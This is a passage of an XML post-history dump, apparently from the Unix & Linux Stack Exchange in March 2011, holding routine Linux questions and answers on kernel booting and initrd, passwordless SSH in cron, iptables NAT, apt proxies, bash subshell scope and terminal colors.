  <row Id="23791" PostHistoryTypeId="2" PostId="9941" RevisionGUID="104b4e17-beed-44bd-99d3-675f0c91cb77" CreationDate="2011-03-23T10:35:35.427" UserId="2179" Text="How about adding a line in `/etc/hosts` overriding the relevant addresses? e.g.,&#xD;&#xA;&#xD;&#xA;    ftp.debian.org      130.89.149.226&#xD;&#xA;    security.debian.org 195.20.242.89" />
  <row Id="23792" PostHistoryTypeId="5" PostId="9932" RevisionGUID="a6b707db-1440-4738-8b71-0a927627b6fa" CreationDate="2011-03-23T10:49:20.977" UserId="138" Comment="grammar fixes, added a URL for more info, and fixed &quot;tty0&quot; where &quot;ttyS0&quot; was meant" Text="Regarding the freeze, there are a few options:&#xD;&#xA;&#xD;&#xA; - using a serial port if your box has one to get the dump there by adding `console=ttyS0` to the boot options, as described &lt;a href=&quot;http://www.vanemery.com/Linux/Serial/serial-console.html&quot;&gt;here&lt;/a&gt;. You need a second machine with a serial port and a null modem cable to catch the dump file.&#xD;&#xA;&#xD;&#xA; - using netconsole to get the dump over the network, see here: http://www.mjmwired.net/kernel/Documentation/networking/netconsole.txt&#xD;&#xA;&#xD;&#xA; - Using kexec/kdump this way you get a local dump: http://www.mjmwired.net/kernel/Documentation/kdump/kdump.txt&#xD;&#xA;&#xD;&#xA;Regarding the clean power off problem, I suggest you use the [magic SysRq key][1] to 'S'ync the discs, 'U'mount them, and then re'B'oot the box (the letters are the ones you should type along with alt-sysrq.&#xD;&#xA;&#xD;&#xA;Edit: If you post the oops/trace to the lkml, you should use a recent (preferably the latest) version of the kernel and no proprietary modules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Magic_SysRq_key" />
  <row Id="23793" PostHistoryTypeId="2" PostId="9942" RevisionGUID="d9e8eff7-b978-4b4b-97ee-aa33663e019d" CreationDate="2011-03-23T10:58:34.930" UserId="138" Text="Frederik's answer involving magic SysRq and kernel dumps will work if the kernel is still running, and not truly hung. The kernel might just be busy-looping for some reason.&#xD;&#xA;&#xD;&#xA;The fact that it doesn't respond to Ctrl-Alt-Del tells me that probably isn't the case, and that the machine is locking up hard. That means hardware failure, or something closely related, like a bad driver.&#xD;&#xA;&#xD;&#xA;Your memory check test is good, if you let it run long enough. You should also try other things to try and stress the system, like &lt;a href=&quot;http://www.stresslinux.org/sl/&quot;&gt;StressLinux&lt;/a&gt;. Long-running benchmarks are good, too.&#xD;&#xA;&#xD;&#xA;Another thing to try is booting the system with an Ubuntu live CD and trying to use the system as normal. If returning to Ubuntu temporarily like that doesn't cause the problem to recur, there's a good chance it's not actually broken hardware, but one of the related things like a bad driver or incorrectly configured kernel. It is quite possible that a more popular distribution like Ubuntu could have a more stable kernel configuration than one like Arch, simply due to the greater number of machines it's been tried on during the distro's test phase." />
  <row Id="23794" PostHistoryTypeId="25" PostId="9940" RevisionGUID="e33cfb67-640b-4162-ba0a-71f1725bfacd" CreationDate="2011-03-23T11:31:32.897" Comment="http://twitter.com/#!/StackUnix/status/50520048468623360" />
  <row Id="23795" PostHistoryTypeId="2" PostId="9943" RevisionGUID="06e93f10-fb10-4344-a9cb-3cfa1646c7f3" CreationDate="2011-03-23T11:47:56.540" UserId="4776" Text="You could work around this by setting up a DNS proxy server that dropped ip6 responses." />
  <row Id="23797" PostHistoryTypeId="5" PostId="9936" RevisionGUID="7e13367f-981b-4407-8ca8-b750fedb096f" CreationDate="2011-03-23T11:57:34.440" UserId="3963" Comment="update answer with git describe" Text="Why not use the source control afferent to X to search for feature Y? The source repo is the best way to indentify when a particular feature was introduced.&#xD;&#xA;&#xD;&#xA;For coreutils you can head to http://git.savannah.gnu.org/cgit/coreutils.git and search for keywords related to Y in log messages or particular lines of code you identified as belonging to Y. You can do that on the web interface directly, or even better, clone the source repo to your station and search using [git-bisect](http://www.kernel.org/pub/software/scm/git/docs/git-bisect.html), [git-blame](http://www.kernel.org/pub/software/scm/git/docs/git-blame.html) and [git-log --grep](http://www.kernel.org/pub/software/scm/git/docs/git-log.html).&#xD;&#xA;&#xD;&#xA;Then Use [git-describe](http://www.kernel.org/pub/software/scm/git/docs/git-describe.html) to find out tag is the closest to a specific commmit. Tags are used for version numbers mostly, thus it will give you the version that introduced the commit.&#xD;&#xA;&#xD;&#xA;You can adapt the above method, depending on X and it's source control." />
  <row Id="23798" PostHistoryTypeId="2" PostId="9944" RevisionGUID="86ae9250-8fa9-4b35-a9ba-4532484f6aa2" CreationDate="2011-03-23T12:26:17.883" UserId="4856" Text="My question is with regards to booting a Linux system from a separate /boot partition. If most configuration files are located on a separate / partition, how does the kernel correctly mount it at boot time?&#xD;&#xA;&#xD;&#xA;Any elaboration on this would be great. I feel as though I am missing something basic. I am mostly concerned with the process and order of operations.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="23799" PostHistoryTypeId="1" PostId="9944" RevisionGUID="86ae9250-8fa9-4b35-a9ba-4532484f6aa2" CreationDate="2011-03-23T12:26:17.883" UserId="4856" Text="How does a kernel mount the root partition?" />
  <row Id="23800" PostHistoryTypeId="3" PostId="9944" RevisionGUID="86ae9250-8fa9-4b35-a9ba-4532484f6aa2" CreationDate="2011-03-23T12:26:17.883" UserId="4856" Text="élinuxàékernelàébootàémountà" />
  <row Id="23801" PostHistoryTypeId="2" PostId="9945" RevisionGUID="469f793a-697b-4bb6-b8f0-034d148ca073" CreationDate="2011-03-23T12:29:48.140" UserId="3447" Text="Grub mounts the `/boot` partition and then executes the kernel.  In Grub's configuration, it tells the kernel what to use as the root device.&#xD;&#xA;&#xD;&#xA;For example in Grub's `menu.lst`:&#xD;&#xA;&#xD;&#xA;    kernel /boot/linux root=/dev/sda2" />
  <row Id="23802" PostHistoryTypeId="2" PostId="9946" RevisionGUID="733a59df-4eae-42b0-8673-265d758d4df3" CreationDate="2011-03-23T12:31:37.147" UserId="5325" Text="Linux initially boots with a ramdisk (called an `initrd`, for &quot;initial ramdisk&quot;) as `/`.  This disk has just enough on it to be able to find the real root partition (including any driver and filesystem modules required).  It mounts the root partition onto a temporary mount point on the `initrd`, then invokes `pivot_root(8)` to swap the root and temporary mount points, leaving the `initrd` in a position to be `umount`ed and the actual root filesystem on `/`." />
  <row Id="23803" PostHistoryTypeId="2" PostId="9947" RevisionGUID="d52652fd-39e2-4ed6-bbc4-3e92f52e4e00" CreationDate="2011-03-23T12:45:24.020" UserId="5666" Text="You can make ssh connections within a cron session. What you need is to setup a public key authentication to have passwordless access. For this to work, you need to have `PubkeyAuthentication yes` in each remote server's `sshd_config`.&#xD;&#xA;&#xD;&#xA;You can create a private/public key pair with or without a passphrase. If you use a passphrase (recommented) you need to also start ssh-agent. Without a passphrase, you only need to add the parameter `-i your_identity_file` to `ssh` command line. `ssh` will use `$HOME/.ssh/id_rsa` as default.&#xD;&#xA;&#xD;&#xA;I replicated your example by using a key pair with a passphrase. Here's how I did it.&#xD;&#xA;&#xD;&#xA;1) Created the key pair with passphrase. Saved the private key as `~/.ssh/id_rsa_test`, which should have the correct permissions by default. We can enter an empty passphrase for not using one.&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ ssh-keygen -N &quot;somephrase&quot; -f .ssh/id_rsa_test&#xD;&#xA;    Generating public/private rsa key pair.&#xD;&#xA;    Your identification has been saved in .ssh/id_rsa_test.&#xD;&#xA;    Your public key has been saved in .ssh/id_rsa_test.pub.&#xD;&#xA;    [snip]&#xD;&#xA;&#xD;&#xA;2) Sent the public key to the servers, did the same for all of them. Remember they need to have `PubkeyAuthentication` enabled.&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ ssh-copy-id -i .ssh/id_rsa_test server1&#xD;&#xA;    The authenticity of host 'server1 (11.22.33.1)' can't be established.&#xD;&#xA;    RSA key fingerprint is 79:e8:0d:f5:a3:33:1c:ae:f5:24:55:86:82:31:b2:76.&#xD;&#xA;    Are you sure you want to continue connecting (yes/no)? yes&#xD;&#xA;    Warning: Permanently added 'server1,11.22.33.1' (RSA) to the list of known hosts.&#xD;&#xA;    john@server1's password: &#xD;&#xA;    Now try logging into the machine, with &quot;ssh 'server1'&quot;, and check in:&#xD;&#xA;    &#xD;&#xA;      .ssh/authorized_keys&#xD;&#xA;    &#xD;&#xA;    to make sure we haven't added extra keys that you weren't expecting.&#xD;&#xA;&#xD;&#xA;3) Run ssh-agent as service with `-s`. This will not kill it if you logout. Its output is a valid shell script, setting the environment so ssh client will know how to connect to it. We save that to a file (only the first line is really needed).&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ ssh-agent -s | head -n 1 &gt; ssh-agent.cf &#xD;&#xA;    john@coffee:~$ cat ssh-agent.cf &#xD;&#xA;    SSH_AUTH_SOCK=/tmp/ssh-VhyKL22691/agent.22691; export SSH_AUTH_SOCK;&#xD;&#xA;&#xD;&#xA;4) Loaded the above to our current environment so we can use `ssh-add` to add our private key to `ssh-agent`.  the passphrase from above.&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ source ssh-agent.cf &#xD;&#xA;    john@coffee:~$ ssh-add  .ssh/id_rsa_test&#xD;&#xA;    Enter passphrase for .ssh/id_rsa_test: &#xD;&#xA;    Identity added: .ssh/id_rsa_test (.ssh/id_rsa_test)&#xD;&#xA;&#xD;&#xA;5) Verified it is added.&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ ssh-add -l&#xD;&#xA;    2048 96:58:94:67:da:67:c0:5f:b9:0c:40:9b:52:62:55:6a .ssh/id_rsa_test (RSA)&#xD;&#xA;&#xD;&#xA;6) The script I used, slightly modified than yours. Notice that I did not enclose the ssh command in parentheses and not using backticks rather `$()`, which is a better alternative for command substitution (this is `bash` compatible, you didn't mention which shell you're using). I used the exact same ssh command as yours.&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ cat foo.sh &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    source /home/john/ssh-agent.cf&#xD;&#xA;    for server in server1 server2; do&#xD;&#xA;    	usr=$(ssh -t -t -o ConnectTimeout=60 $server finger | tail -1 | awk '{print $1}')&#xD;&#xA;    	date=$(ssh -o ConnectTimeout=60 $server date)&#xD;&#xA;    	echo &quot;$server - $date - $usr&quot; &gt;&gt; /home/john/foo.log&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;7) My crontab (note that my `sh` is actually `bash`)&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ crontab -l&#xD;&#xA;    # m h  dom mon dow   command&#xD;&#xA;    */1  *  *  *  *  sh /home/john/foo.sh&#xD;&#xA;&#xD;&#xA;8) The output&#xD;&#xA;&#xD;&#xA;    john@coffee:~$ tail -n 4 foo.log&#xD;&#xA;    server1 - Wed Mar 23 14:12:03 EET 2011 - john&#xD;&#xA;    server2 - Wed Mar 23 14:12:04 EET 2011 - john&#xD;&#xA;    server1 - Wed Mar 23 14:13:03 EET 2011 - john&#xD;&#xA;    server2 - Wed Mar 23 14:13:04 EET 2011 - john&#xD;&#xA;&#xD;&#xA;The only problem with using a passphrase is that you need to enter it manually at least one time. So, the above will not automatically work after a reboot.&#xD;&#xA;" />
  <row Id="23804" PostHistoryTypeId="2" PostId="9948" RevisionGUID="f5ee0e91-d371-4c13-81f4-91c3e89537c9" CreationDate="2011-03-23T12:46:16.203" UserId="5785" Text="C'mon, GRUB doesn't &quot;mount&quot; /boot, it just reads 'menu.lst' and some modules, it isn't part of LINUX kernel either. When you call the kernel, you will pass a &quot;root&quot; argument with the root partition. At worst, the kernel knows that just /boot has been mounted (LOL).&#xD;&#xA;&#xD;&#xA;Next: geekosaur is right, Linux uses an initial ramdisk in compressed image format, and then mounts the real root filesystem by calling `pivot_root`. So Linux starts running from an image, and then from your local disk drive." />
  <row Id="23805" PostHistoryTypeId="2" PostId="9949" RevisionGUID="7a3e73c0-611c-4fb3-ae5d-08d6393e145f" CreationDate="2011-03-23T03:44:44.937" UserDisplayName="user355159" Text="Hi,&#xD;&#xA;&#xD;&#xA;I placed the uBoot loader and the kernel into the raw flash image. This does not contain any root file system. (I copied uBoot and kernel image using dd command to a flash image).&#xD;&#xA;&#xD;&#xA;Now i have to change my kernel as to start my application at a particular address which was located in my flash image.&#xD;&#xA;&#xD;&#xA;Could anyone suggest me, how can i change the kernel as to start my application on its own?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Santhosh." />
  <row Id="23806" PostHistoryTypeId="1" PostId="9949" RevisionGUID="7a3e73c0-611c-4fb3-ae5d-08d6393e145f" CreationDate="2011-03-23T03:44:44.937" UserDisplayName="user355159" Text="Kernel - Startuing the application" />
  <row Id="23807" PostHistoryTypeId="3" PostId="9949" RevisionGUID="7a3e73c0-611c-4fb3-ae5d-08d6393e145f" CreationDate="2011-03-23T03:44:44.937" UserDisplayName="user355159" Text="éembeddedà" />
  <row Id="23808" PostHistoryTypeId="17" PostId="9949" RevisionGUID="5b627783-8088-4364-8c9b-cab636aa0328" CreationDate="2011-03-23T12:51:54.360" UserId="-1" Comment="from http://stackoverflow.com/questions/5400689/kernel-startuing-the-application" Text="" />
  <row Id="23809" PostHistoryTypeId="2" PostId="9950" RevisionGUID="74289bc7-f669-4613-a902-056f99e7f210" CreationDate="2011-03-23T12:54:09.957" UserId="4949" Text="The boot loader, be it grub or lilo or whatever, tells the kernel where to look with the `root=` flag, and optionally loads an initial ramdisk into memory via `initrd` before booting the kernel.&#xD;&#xA;&#xD;&#xA;The kernel then loads, tests its hardware and device drivers and looks around the system for what it can see (you can review this diagnostic info by typing `dmesg`; nowadays it likely scrolls by way too fast to see) then attempts to mount the partition mentioned in the `root=` parameter.&#xD;&#xA;&#xD;&#xA;If an initrd is present, it's mounted first and any modules/device drivers on it are loaded and probed out before the root filesystem is mounted. This way you can compile the drivers for your hard drives as modules and still be able to boot." />
  <row Id="23810" PostHistoryTypeId="2" PostId="9951" RevisionGUID="5a3384d7-48ba-45d3-bbde-c554ae320ec1" CreationDate="2011-03-23T13:06:00.137" UserId="5589" Text="So, basically your Linux box acts as a firewall?&#xD;&#xA;&#xD;&#xA;First, enable IP forwarding.&#xD;&#xA;&#xD;&#xA;    echo 1 &gt; /proc/sys/net/ipv4/ip_forward&#xD;&#xA;    echo 1 &gt; /proc/sys/net/ipv4/conf/all/forwarding&#xD;&#xA;&#xD;&#xA;Then, add some forwarding rules:&#xD;&#xA;&#xD;&#xA;    iptables -A FORWARD -i eth0 -j ACCEPT&#xD;&#xA;    iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT&#xD;&#xA;&#xD;&#xA;Secure the FORWARD chain:&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP&#xD;&#xA;&#xD;&#xA;Create a NAT rule:&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE&#xD;&#xA;&#xD;&#xA;Finally, don't forget to check that you have a default route:&#xD;&#xA;&#xD;&#xA;    ip route show | grep default&#xD;&#xA;&#xD;&#xA;You should see something like:&#xD;&#xA;&#xD;&#xA;    default via &lt;IP_of_eth1's_gateway&gt; dev eth1&#xD;&#xA;&#xD;&#xA;If not, add one:&#xD;&#xA;&#xD;&#xA;    ip route add default vie &lt;IP_of_eth1's_gateway&gt; dev eth1&#xD;&#xA;&#xD;&#xA;(Usually the DHCP client will automatically add one)" />
  <row Id="23811" PostHistoryTypeId="2" PostId="9952" RevisionGUID="1643d15d-8888-4b14-a44d-54a916a76232" CreationDate="2011-03-23T13:10:26.707" UserId="1144" Text="You could setup *apt-cacher-ng* on a spare machine to act as a proxy/cache for all of your hosts. You can force the configuration to only use specific hosts or use the /etc/hosts trick suggested by @badp on that one machine.&#xD;&#xA;&#xD;&#xA;    apt-get install apt-cacher-ng&#xD;&#xA;&#xD;&#xA;Once you have apt-cache-ng setup you just need to drop the following line (with IP address/hostname altered to point at your cacher machine) in */etc/apt/apt.conf.d/90httpproxy*&#xD;&#xA;&#xD;&#xA;    Acquire::http { Proxy &quot;http://[192.168.1.254]:3142&quot;; };&#xD;&#xA;&#xD;&#xA;I use that setup to reduce bandwidth usage but it should workaround your problem. Unfortunately I'm not aware of a way to directly disable ipv6 lookups for apt-get itself." />
  <row Id="23813" PostHistoryTypeId="2" PostId="9953" RevisionGUID="43693d57-47dc-4971-9ba2-6182b1b90b35" CreationDate="2011-03-23T13:47:41.237" UserId="2469" Text="This is a bit of a curiosity for me really, so an answer is not really of high priority.&#xD;&#xA;&#xD;&#xA;The CFQ IO scheduler supports priorities though I am not sure that Deadline does (I believe not). The premise is that when I renice a task it gets a larger share of CPU under the Completely Fair Scheduler. Since this task is likely to run more often it would call for IO more often as well when needed, correct?&#xD;&#xA;&#xD;&#xA;I am wondering if even though the IO scheduler does not support priorities that the task would get more/less IO when reniced? Or is the disk/memory management completely separate?" />
  <row Id="23814" PostHistoryTypeId="1" PostId="9953" RevisionGUID="43693d57-47dc-4971-9ba2-6182b1b90b35" CreationDate="2011-03-23T13:47:41.237" UserId="2469" Text="Does IO prioritise by the very nature of renicing a task?" />
  <row Id="23815" PostHistoryTypeId="3" PostId="9953" RevisionGUID="43693d57-47dc-4971-9ba2-6182b1b90b35" CreationDate="2011-03-23T13:47:41.237" UserId="2469" Text="ékernelàéioàépriorityàéniceà" />
  <row Id="23816" PostHistoryTypeId="5" PostId="9953" RevisionGUID="5821466c-48c0-4384-921f-a08ca67adb75" CreationDate="2011-03-23T14:22:37.190" UserId="688" Comment="rm noise" Text="The CFQ IO scheduler supports priorities though I am not sure that Deadline does (I believe not). The premise is that when I renice a task it gets a larger share of CPU under the Completely Fair Scheduler. Since this task is likely to run more often it would call for IO more often as well when needed, correct?&#xD;&#xA;&#xD;&#xA;I am wondering if even though the IO scheduler does not support priorities that the task would get more/less IO when reniced? Or is the disk/memory management completely separate?" />
  <row Id="23817" PostHistoryTypeId="2" PostId="9954" RevisionGUID="75a402e6-9e7b-4f4a-813a-8e2612ee6146" CreationDate="2011-03-23T14:24:06.197" UserId="2343" Text="Why do I get different values for $x from the snippets below?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    x=1&#xD;&#xA;    echo fred&gt;junk ; while read var ; do x=55 ; done &lt;junk&#xD;&#xA;    echo x=$x &#xD;&#xA;    #    x=55 .. I'd expect this result&#xD;&#xA;&#xD;&#xA;    x=1&#xD;&#xA;    cat junk | while read var ; do x=55 ; done&#xD;&#xA;    echo x=$x &#xD;&#xA;    #    x=1 .. but why?&#xD;&#xA;&#xD;&#xA;    x=1&#xD;&#xA;    echo fred | while read var ; do x=55 ; done&#xD;&#xA;    echo x=$x &#xD;&#xA;    #    x=1  .. but why?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23818" PostHistoryTypeId="1" PostId="9954" RevisionGUID="75a402e6-9e7b-4f4a-813a-8e2612ee6146" CreationDate="2011-03-23T14:24:06.197" UserId="2343" Text="Why is my variable being localized in one 'while read' loop, but not in another seemingly similar loop." />
  <row Id="23819" PostHistoryTypeId="3" PostId="9954" RevisionGUID="75a402e6-9e7b-4f4a-813a-8e2612ee6146" CreationDate="2011-03-23T14:24:06.197" UserId="2343" Text="ébashàéshellöscriptà" />
  <row Id="23820" PostHistoryTypeId="25" PostId="9954" RevisionGUID="95f0221f-4d17-42b8-973c-de169b9027bc" CreationDate="2011-03-23T14:31:32.727" Comment="http://twitter.com/#!/StackUnix/status/50565346259779584" />
  <row Id="23821" PostHistoryTypeId="2" PostId="9955" RevisionGUID="9c98973d-3060-4d73-845b-2f1c192abb2a" CreationDate="2011-03-23T14:33:12.770" UserId="3976" Text="You're running into a variable scope issue.  The variables defined in the while loop have their own local scope context, and changes to the variable will not be seen outside of the loop.  The while loop is essentially a subshell which gets a **COPY** of the shell environment, and any changes to the environment are lost at the end of the shell.  See this [StackOverflow question][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/124167/bash-variable-scope" />
  <row Id="23822" PostHistoryTypeId="2" PostId="9956" RevisionGUID="0f678fa1-53be-43f7-8d04-580a9941e3b2" CreationDate="2011-03-23T14:40:57.603" UserId="4520" Text="Disk and memory scheduling are entirely different. In the absence of an IO priority scheduler, IO will be handled on a first come first served basis.  If the system is IO bound, then all processes run in a more or less round robin basis until all are waiting for I/O.  The nice priority of a process will have little impact on its scheduling frequency. &#xD;&#xA;&#xD;&#xA;Recent versions of Linux have added an `ionice` facility.  The idle priority is intended to prevent IO degradation which may occur when the heads are moved to a different area of the disk delaying writes for other processes.  &#xD;&#xA;&#xD;&#xA;Renicing an I/O bound process is unlikely to significantly slow its I/O rate unless the load average exceeds the number of CPUs.  If unused CPU cycles are available, the process will likely be scheduled frequently enough to keep its I/O rate close to what it would be at a regular priority. &#xD;&#xA;&#xD;&#xA;Recent Linux kernels will modify the IO priority of reniced process which have not had an IO priority set.  The 40 CPU priority levels are mapped to 8 IO priority levels, so a significant nice change may be required to change the IO priority.&#xD;&#xA;&#xD;&#xA;Having a significant number of CPU bound processes running at or above the I/O bound processes priority may slow its I/O rate.  The process will still get time slices resulting in I/O occurring." />
  <row Id="23823" PostHistoryTypeId="2" PostId="9957" RevisionGUID="0581e1ff-9d2c-4503-a630-9c650150dcf5" CreationDate="2011-03-23T14:44:42.857" UserId="5980" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to know if there's any way to check if my program can output terminal output using colors or not. &#xD;&#xA;&#xD;&#xA;Running commands like `less` and looking at the output from a program that outputs using colors, the output is displayed wrong, like&#xD;&#xA;&#xD;&#xA;`[ESC[0;32m0.052ESC[0m ESC[1;32m2,816.00 kbESC[0m]`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23824" PostHistoryTypeId="1" PostId="9957" RevisionGUID="0581e1ff-9d2c-4503-a630-9c650150dcf5" CreationDate="2011-03-23T14:44:42.857" UserId="5980" Text="How to check if bash can print colors" />
  <row Id="23825" PostHistoryTypeId="3" PostId="9957" RevisionGUID="0581e1ff-9d2c-4503-a630-9c650150dcf5" CreationDate="2011-03-23T14:44:42.857" UserId="5980" Text="ébashàécolorsà" />
  <row Id="23827" PostHistoryTypeId="2" PostId="9959" RevisionGUID="3f12b018-cb65-481d-80d5-b8ac20a85983" CreationDate="2011-03-23T14:51:35.633" UserId="5325" Text="That would be the fault of `less` not being set to interpret ANSI escapes; look for `R` in `$LESSOPTS`.  As for determining if the system knows your terminal can deal with colors, `tput colors` will output either the number of colors it supports or `-1` if it doesn't support colors.  (Note that some terminals may use `xterm` instead of `xterm-color` as their terminal description, but still support colors.)" />
  <row Id="23828" PostHistoryTypeId="2" PostId="9960" RevisionGUID="0be1498e-a2fc-4f08-8c04-6aa14b877052" CreationDate="2011-03-23T14:56:06.043" UserId="5785" Text="This should be enough:&#xD;&#xA;&#xD;&#xA;    $ tput colors&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="23829" PostHistoryTypeId="2" PostId="9961" RevisionGUID="619cc5e1-6fbd-43b0-8565-740708103cf3" CreationDate="2011-03-23T15:10:01.473" UserId="5981" Text="What is the conventional directory to keep shared scripts that might be used by more than one user?&#xD;&#xA;&#xD;&#xA;I've read through [this overview][1] of the standard file system hierarchy, but it doesn't seem to recommend a location for storing shared scripts.  Creating a /opt/scripts directory seems like a reasonable option, but I'd like to know if there is a standard UNIX convention for this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#THEUSRHIERARCHY" />
  <row Id="23830" PostHistoryTypeId="1" PostId="9961" RevisionGUID="619cc5e1-6fbd-43b0-8565-740708103cf3" CreationDate="2011-03-23T15:10:01.473" UserId="5981" Text="Best directory for shared scripts" />
  <row Id="23831" PostHistoryTypeId="3" PostId="9961" RevisionGUID="619cc5e1-6fbd-43b0-8565-740708103cf3" CreationDate="2011-03-23T15:10:01.473" UserId="5981" Text="éscriptingàédirectoryöstructureàéconventionsà" />
  <row Id="23832" PostHistoryTypeId="5" PostId="9960" RevisionGUID="3acc2e76-cf59-4555-a519-3e8a293d02e8" CreationDate="2011-03-23T15:16:36.650" UserId="5785" Comment="added 222 characters in body" Text="This should be enough:&#xD;&#xA;&#xD;&#xA;    $ tput colors&#xD;&#xA;&#xD;&#xA;Other useful ways:&#xD;&#xA;&#xD;&#xA; - In C, you can just use [isatty][1] and see if it's a TTY &#xD;&#xA; - See if it's a dumb terminal looking $TERM variable&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/functions/isatty.html" />
  <row Id="23833" PostHistoryTypeId="2" PostId="9962" RevisionGUID="124cea47-efe5-44b7-904f-7af2423897bb" CreationDate="2011-03-23T15:19:40.157" UserId="3389" Text="Sounds like you're asking how does the kernel &quot;know&quot; which partition is the root partition, without access to configuration files on /etc.&#xD;&#xA;&#xD;&#xA;The kernel can accept command line arguments like any other program.  GRUB, or most other bootloaders can accept command line arguments as user input, or store them and make various combinations of command line arguments available via a menu.  The bootloader passes the command line arguments to the kernel when it loads it (I don't know the name or mechanics of this convention but it's probably similar to how an application receives command line arguments from a calling process in a running kernel).&#xD;&#xA;&#xD;&#xA;One of those command line options is `root`, where you can specify the root filesystem, i.e. `root=/dev/sda1`.&#xD;&#xA;&#xD;&#xA;If the kernel uses an initrd, the bootloader is responsible for telling the kernel where it is, or putting the initrd in a standard memory location (I think) - that's at least the way it works on my Guruplug.&#xD;&#xA;&#xD;&#xA;It's entirely possible to not specify one and then have your kernel panic immediately after starting complaining that it can't find a root filesystem.&#xD;&#xA;&#xD;&#xA;There might be other ways of passing this option to the kernel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23834" PostHistoryTypeId="2" PostId="9963" RevisionGUID="3e86db3a-f4d0-4899-9fff-770ad2d47334" CreationDate="2011-03-23T15:26:15.943" UserId="4523" Text="I believe it's /usr/local/bin/ - it's for installing custom, not maintained by package manager executables" />
  <row Id="23835" PostHistoryTypeId="2" PostId="9964" RevisionGUID="66229181-9ce9-4c5c-8add-40414a751676" CreationDate="2011-03-23T15:26:52.927" UserId="5785" Text="Depending on the purpose... but maybe /usr/bin is good place for most user programs. OPT is intended to have third party software." />
  <row Id="23836" PostHistoryTypeId="2" PostId="9965" RevisionGUID="db6369f0-4e12-4d22-944b-bfbec0fcddad" CreationDate="2011-03-23T15:39:48.800" UserId="3389" Text="Make a directory `bin` in `/usr/local/share`." />
  <row Id="23837" PostHistoryTypeId="2" PostId="9966" RevisionGUID="7b073364-69c9-448d-89b8-63f67d7c8714" CreationDate="2011-03-23T15:44:21.913" UserId="3848" Text="In order to get a value out of a subshell you have to echo the value to standard out and capture it, or else store it to an external file.  There is no combination of export and/or variable properties that will get a variable back out of a subshell.  This is one of the reasons I don't use shell for any non-trivial control structures." />
  <row Id="23838" PostHistoryTypeId="2" PostId="9967" RevisionGUID="dac86e22-561e-432a-a002-529329994173" CreationDate="2011-03-23T16:05:44.240" UserId="4778" Text="    make &gt; log-file&#xD;&#xA;or&#xD;&#xA; &#xD;&#xA;    make | tee log-file | filter&#xD;&#xA;&#xD;&#xA;Where filter is a program that passes only what you want to see. Use grep or sed or something else." />
  <row Id="23839" PostHistoryTypeId="2" PostId="9968" RevisionGUID="5d793a77-b728-40c5-899d-48ad5a0cc44a" CreationDate="2011-03-23T16:18:36.453" UserId="4778" Text="This should help. This search was done on Debian 6, but should be the same on Ubuntu.&#xD;&#xA;&#xD;&#xA;    #$find /usr/share/mime/ -print0 | xargs -0 grep [.]html &#xD;&#xA;    /usr/share/mime/globs2:50:text/html:*.html&#xD;&#xA;    /usr/share/mime/packages/freedesktop.org.xml:    &lt;glob pattern=&quot;*.html&quot;/&gt;&#xD;&#xA;    /usr/share/mime/globs:text/html:*.html&#xD;&#xA;    /usr/share/mime/text/html.xml:  &lt;glob pattern=&quot;*.html&quot;/&gt;&#xD;&#xA;&#xD;&#xA;From this you can see the information is in `/usr/share/mime/globs`, `/usr/share/mime/globs2`, `/usr/share/mime/text/html.xml` and `/usr/share/mime/packages/freedesktop.org.xml`&#xD;&#xA;" />
  <row Id="23840" PostHistoryTypeId="2" PostId="9969" RevisionGUID="cad50d87-2444-43af-aa2a-c8fa53a83c18" CreationDate="2011-03-23T16:24:32.367" UserId="5785" Text="This was answered before with a comment:&#xD;&#xA;&#xD;&#xA;&gt; if you want full output to the file,&#xD;&#xA;&gt; then use make &gt; file.log 2&gt;&amp;1 and&#xD;&#xA;&gt; you'ill get a &quot;--silent&quot; output to&#xD;&#xA;&gt; screen. This is a very basic shell&#xD;&#xA;&gt; usage.&#xD;&#xA;&#xD;&#xA;and 4 days have passed, i think that it no longer need to be responded." />
  <row Id="23841" PostHistoryTypeId="2" PostId="9970" RevisionGUID="89a3018d-4685-4464-ba57-d3f5d7d54b75" CreationDate="2011-03-23T16:26:31.227" UserId="5983" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm in the process of setting up an audio processor on my remotely hosted CentOS box. The audio processor itself is command line based, and after speaking with the author he explained to me that it works by reading in a live .WAV stream, and it outputs a live .WAV too.&#xD;&#xA;&#xD;&#xA;Now basically, the scenario I have is this:&#xD;&#xA;&#xD;&#xA;I have a shoutcast server on this box using port 8000. This shoutcast server is the point at which the DJ's connect.&#xD;&#xA;&#xD;&#xA;I have a secondary shoutcast server using port 8002 where the listeners will connect.&#xD;&#xA;&#xD;&#xA;In between these, I would like to use this audio processing tool. It would need to connect to the first shoutcast server on port 8000, process the audio, and then send it to the server on port 8002.&#xD;&#xA;&#xD;&#xA;The program cannot do this on it's own unfortunately, so I am told by the software author. He also stated that this scenario is workable, providing I use the right method. He suggested something like the following:&#xD;&#xA;&#xD;&#xA;&gt; 1. Command line tool that reads the 